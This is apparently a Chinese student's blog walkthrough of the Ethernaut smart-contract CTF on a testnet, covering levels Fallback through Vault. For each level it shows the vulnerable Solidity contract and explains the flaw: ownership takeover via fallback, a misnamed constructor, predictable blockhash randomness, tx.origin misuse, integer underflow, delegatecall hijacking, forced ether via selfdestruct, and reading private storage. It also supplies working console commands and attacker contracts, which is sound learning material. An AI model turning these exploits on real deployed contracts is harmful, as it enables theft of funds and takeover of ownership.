这学期有区块链的大创和比赛,所以需要学一下智能合约什么的,正好看到最近的一些CTF比赛里出现了智能合约的题目,就想着玩玩这个。

在某佬博客里看到一个入门的靶场,就先打一遍入个门。

0x00 环境准备

首先肯定是IDE,然后在自己的chrome里面安装上MetaMask插件,开Ropsten测试网络进行测试,搞好以后去找个水龙头嫖几个以太币(当然是假的)用来测试。

关于IDE的使用,写好一个合约之后,简单来说需要走的步骤就是

编译—>部署—>调用

每一个部署和调用都要花费一定量的以太(view和pure除外)。

在做题的过程中一定要保持靶场和小狐狸的交互性。

顺便一提

这个靶场的成功提示好魔性啊(XD

0x01 Hello Ethernaut

这道题就是用来测环境的,打开MetaMask然后在console跟着教程一步一步走就好。

0x02 Fallback ✔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallback is Ownable {

using SafeMath for uint256;
mapping(address => uint) public contributions;

function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] = contributions[msg.sender].add(msg.value);
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
owner.transfer(this.balance);
}

function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

题目的目的有两个,成为owner和清空余额,直接看合约代码,要成为owner,可以转账超过1000,肯定不可行,然后最后的callback函数,只要转账大于0,贡献大于0就可,故先调用contribute()然后转账,就可以出发callback函数,成为owner,然后调用withdraw清空余额。

1
2
3
contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw()

控制台执行以上三局命令就好

0x03 Fallout ✔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {

using SafeMath for uint256;
mapping (address => uint) allocations;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

目的仍然是成为owner,这里出题人恶趣味,给了一个看似是其实不是的构造函数,所以只要调用一下他的“构造函数”,就达成目的

1
contract.Fal1out({value:1})

0x04 Coin Flip ✔

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function CoinFlip() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

这次的目的变了,要猜对十次硬币,这道题考察了区块链的特性,所有数据都在链中,everything is public,所以看似正常的随机数机制在智能合约中是非常危险的,代码中可以看到,每一次随机数由上一个随机数和一个常数计算而来,而每一个数我们都是可知的,所以就很稳定的可以预测随机数。

写一个合约完成任务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pragma solidity ^0.4.18;

contract CoinFlip {
function flip(bool _guess) public returns (bool);
}

contract hack{
address public addr = 0xff19d6b5a3e5b87fdd5d4307c679440764ae8edd;
//此处为合约地址
CoinFlip a = CoinFlip(addr);
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function guess() public{
uint256 blockValue = uint256(blockhash(block.number -1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
a.flip(side);
}
}

然后猛点十次guess方法,就可以交答案了。

0x05 Telephone

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;

contract Telephone {

address public owner;

function Telephone() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

这道题考点在于tx.originmsg.sender的关系,顾名思义,origin就是起源,sender就是发送者,区别在于,origin只能是用户,sender可以是用于和合约,题目要我们将owner的值变成我们用户的地址。

如果我们直接调用changeOwner函数,那么此时tx.origin和msg.sender都是我们的用户,但如果我们部署了一个合约,通过这个合约去调用了Telephone合约的changeOwner方法,那么tx.origin就是我们的用户msg.sender就是我们部署的合约,此时通过了if判断,目的达成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.4.18;
contract Telephone {
function Telephone() public {}
function changeOwner(address _owner) public {}
}

contract hack{
address target;
constructor(address param){
target = param;
}
function attack(){
Telephone a = Telephone(target);
a.changeOwner(msg.sender);
}
}

0x06 Token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pragma solidity ^0.4.18;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

经典的整数溢出

solidity的uint存在溢出,题目设定了20的余额,所以_value=21的时候就会发生整数下溢,变成2**256-1,达成条件。

直接调用transfer函数即可。

0x07 Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.4.18;

contract Delegate {

address public owner;

function Delegate(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}

这道题考点在于soliditycall方法和delegatecall方法的区别,call调用外部方法时,运行的上下文是外部合约,delegatecall调用外部方法时,运行的上下文是内部合约。

所以转账触发Delegation合约中的回调函数,然后delegate.delegatecall(msg.data)传入参数调用Delegate合约的pwn()方法,将owner变成自己。

1
contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)});

0x08 Force

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.4.18;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

好嘛,干脆代码了

目标是给force钱,但是这个合约没有payable,但是我了解到,solidity有一个特性,如果调用一个合约的selfdestruct,即自毁方法,那么它临死之前会将自己的所有余额转给某合约,而且不会触发该合约的callback方法。

该题解题思路为:创建一个合约,给合约转账,然后触发这个合约的自毁,从而给目标合约成功转账。

0x09 Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.4.18;

contract Vault {
bool public locked;
bytes32 private password;

function Vault(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

题目目标是要将locked变量的值false掉,首先要得到password,虽然这个password是一个private,但是我们知道,everything is public,就算是私有的变量也是可知的。

1
web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});

用以上代码就可以获得password的值,然后调用unlock函数就可。